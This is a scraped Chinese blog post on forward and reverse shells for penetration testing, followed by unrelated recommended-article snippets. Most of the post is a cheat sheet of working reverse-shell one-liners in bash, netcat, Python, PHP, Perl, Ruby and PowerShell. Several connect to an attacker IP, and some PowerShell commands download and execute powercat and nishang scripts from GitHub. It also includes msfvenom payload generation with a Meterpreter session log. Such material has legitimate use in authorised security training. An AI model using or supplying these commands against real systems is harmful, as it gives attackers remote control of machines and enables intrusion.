shell的正向和反向_正向shell和反向shell_西湖第一剑的博客-程序员秘密

技术标签: 安全  渗透测试  

正向shell和反向shell
正向shell:控制端主动发起连接去连接被控制端
反向shell:被控制端主动连接控制端
在实战中,大多数采用反向shell,因为正向shell有很多因素导致连接失败,
比如说硬件设备有防火墙,入侵防御系统等,还有网站防火墙,端口占用,权限不足等场景,特别是硬件设备如果你正向连接被防火墙拦截导致打草惊蛇,后期攻击相当繁琐。
反向shell:而被控制端主动向外发送的数据包通常都不会被拦截。

反向shell如下

Linux常见反向shell
bash反弹shell

nc -lvp 4444
bash -i>& /dev/tcp/192.168.11.12/4444 0>&1

nc反弹shell

nc -lvp 4444   

nc 192.168.11.12 666 
/bin/bash |nc 192.168.11.12 666
nc 192.168.11.12 999 -e /bin/bash  Linux

python反弹shell

nc -lvp 9999 
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.11.12",9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP反弹shell

nc -lvp 6666
php -r '$sock=fsockopen("192.168.11.12",6666);exec("/bin/sh -i <&3 >&3 2>&3");'

Perl反弹shell

perl -e 'use Socket; $i="192.168.11.12";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

ruby反弹shell

nc -lvp 4444
ruby -rsocket -e'f=TCPSocket.open("192.168.11.12",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Windows反弹shell如下

powercat反弹shell
powercat(https://github.com/besimorhino/powercat )为Powershell版的Netcat,

nc -vlp 6666 
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 192.168.11.12 -p 6666 -e cmd

nishang反弹shell
Nishang(https://github.com/samratashok/nishang )是一个基于PowerShell的攻击框架,
集合了一些PowerShell攻击脚本和有效载荷,可反弹TCP/ UDP/ HTTP/HTTPS/ ICMP等类型shell。

nc -lvp 6666
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.11.12 -port 6666

自定义powershell函数反弹shell

nc -lvp 6666
powershell -nop -c "$client = New-Object Net.Sockets.TCPClient('192.168.11.12',6666);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

正向shell如下
nc 正向shell

nc -lvp 8080 -e /bin/bash   
nc 192.168.11.11 8080	

msf木马正向shell

msfvenom -p windows/meterpreter/bind_tcp -f exe LPORT=80 -o shell.exe

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf6 exploit(multi/handler) > set lport  80
lport => 80
msf6 exploit(multi/handler) > set rhost 192.168.1.108
rhost => 192.168.1.108
msf6 exploit(multi/handler) > run

[*] Started bind TCP handler against 192.168.1.108:80
[*] Sending stage (175174 bytes) to 192.168.1.108
[*] Meterpreter session 1 opened (192.168.11.12:33071 -> 192.168.1.108:80 ) at 2022-02-01 20:28:13 +0800

meterpreter > 



msf,payload模块
set payload windows/meterpreter/bind_tcp			正向
set payload windows/x64/meterpreter/reverse_tcp  	反向   
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/qq_46258964/article/details/122789897

智能推荐

如何用MATLAB实现拖拽控件_matlab 界面文件拖入_肆拾伍的博客-程序员秘密

一般来说,MATLAB自身的GUI是不能够实现将文件夹或者文字拖拽进去进行读取的,就像用QQ邮箱上传文件一样:然后我们用MATLAB实现的效果如下:这个控件并不是用过MATLAB自带的函数实现的,而是通过调用Java来实现,先要定义好Java的对象,然后在MATLAB程序中进行调用,使用起来我们并不需要知道其中的原理,只需要当做黑匣子就可以了。...

SpringCloudAlibaba-Ribbon_会编程的老六的博客-程序员秘密

Ribbon(有关介绍见RestTemplate末尾)Ribbon负载均衡实现策略Ribbon负载均衡实现策略通过接口IRule进行实现,默认使用ZoneAvoidanceRule规则进行负载均衡。实现自定义负载均衡算法:使用@Configuration注解进行配置@Configurationpublic class RibbonConfig { @LoadBalanced //如果使用了loadBalancerClient进行了代理,则已经做过一次负载均衡,此处的注解不能加

H3C V7版本的系统默认权限_weixin_34309543的博客-程序员秘密

H3C (v7平台)Console口通过账号密码登陆配置教程http://www.023wg.com/h3c/496.html H3C (v7平台)Console口通过账号密码登陆配置教程看不懂的地方请看后面的释义1、设置登陆账号[H3C]local-user ?  STRING&amp;lt;1-80&amp;gt;  Local user name, which can contain the ...

Oracle数据库静默模式小节(LINUX 11G)_p33267227_1100_solaris64_2of7_renfengjun的博客-程序员秘密

Linux 安装oracle 11.2软件p13390677_112040_SOLARIS64_1of7.zipp13390677_112040_SOLARIS64_2of7.zip示例文件在解压目录response目录下db_install.rsp笔者只要修改以下几项:oracle.install.option=INSTALL_DB_SWONLY#ORACLE_HOSTNAME=UNIX_GRO...

JQuery模拟六------jQuery处理事件简化版_weixin_30820151的博客-程序员秘密

我把JQuery中事件处理的模块分离出来 删除其缓存机制 比较简单的使用它完成$().ready(function(){});和$(id).click(function(){});先看分离出来的代码 比原来少了许多 //接下来先学习jQuery的事件处理 来源Dean Edwards' addEvent library //我想把它简化一下 可能效率会变差 ...

C++未定义行为-数组越界_数组越界 未定义_唐火的博客-程序员秘密

我们先来看看下面的代码:#include &lt;iostream&gt;using namespace std;const int N = 100010;int a[N];int main(){ for (int i = 1;i&lt;=N;i++) a[i] = 2; return 0;}当我们写这段代码的时候,编译器就会发生这样的问题。这是为什么呢???其实是发生了数组越界。a[n]里面能装n个数,可这是从0开始装的,当我们从1开始装的时候,最大的数组下标是n-1,可上面

随便推点

linux软中断响应时间,Kernel trace tools(一):中断和软中断关闭时间过长问题追踪..._白眉道长的博客-程序员秘密

原标题:Kernel trace tools(一):中断和软中断关闭时间过长问题追踪本文是由字节跳动系统部 STE 团队出品的 “kernel trace tools” 系列文章,以介绍团队自研多类延迟问题追踪工具。在实际工作中,会遇到由于中断和软中断关闭时间过长而引发的高网络延迟问题。但是,对于该类问题的定位和追踪缺乏行之有效的方案或客观依据,需要耗费大量时间和精力用于问题排查,Interrup...

陕西勉县旅游策划方案——打造三国之都!_weixin_45493693的博客-程序员秘密

陕西勉县旅游策划方案————打造三国之都熊大寻旅游策划公司/文陕西勉县——三国文化的集散地,以其包容与大气,为三国文化的爱好者铺排了强健的精神底色,给予了所有三国迷体验历史的自信和豪情。 2009年8月,受陕西勉县县政府的邀请,熊大寻旅游策划公司和旅游规划公司来到勉县,为其城市旅游进行整体策划。熊大寻旅游策划公司和旅游规划公司在考察走访完勉县所有旅游景点,并消话完项目资料后,对勉县做出了系统...

第十三章 设备驱动程序与内核的接口_aaaaatiger的博客-程序员秘密

发信人: Rambo (蓝保)信  区: Free_NJUPT标  题: I/O包(设备驱动程序)(5)设备驱动程序与内核的接口发信站: 紫金飞鸿 (Tue Dec  7 20:23:20 1999)ecos参考手册--------------------------------------------------------------------------------第十三章 设备驱动程序与

pytorch从保存的模型epoch继续训练_读取这个epoch继续resume训练呢_qq_56291837的博客-程序员秘密

保存模型时,将epoch model optimizer参数都保存下来 checkpoint = { 'epoch': self.step, 'model': self.refiner.state_dict(), 'optimizer': self.optim.state_dict(), ..

联想笔记本启动u盘linux系统下载,制作linux启动u盘(rufus)_一条胖咸鱼的博客-程序员秘密

制作linux系统和windows启动u盘,完全免费的自启动U盘系统制作工具,鲁弗斯是一种实用工具,帮助格式,并创建可引导的USB闪存驱动器,如USB钥匙/pendrives,记忆棒等。以下情况下特别有用:1你需要创建可引导的ISO文件(Windows,Linux和UEFI等),USB安装介质2你需要的工作,没有安装操作系统的系统上3你需要从闪DOSBIOS或其他固件4要运行一个低级别的效用尽...

Java程序员面试中的多线程问题_weixin_34032621的博客-程序员秘密

为什么80%的码农都做不了架构师?&gt;&gt;&gt; ...

推荐文章

热门文章

相关标签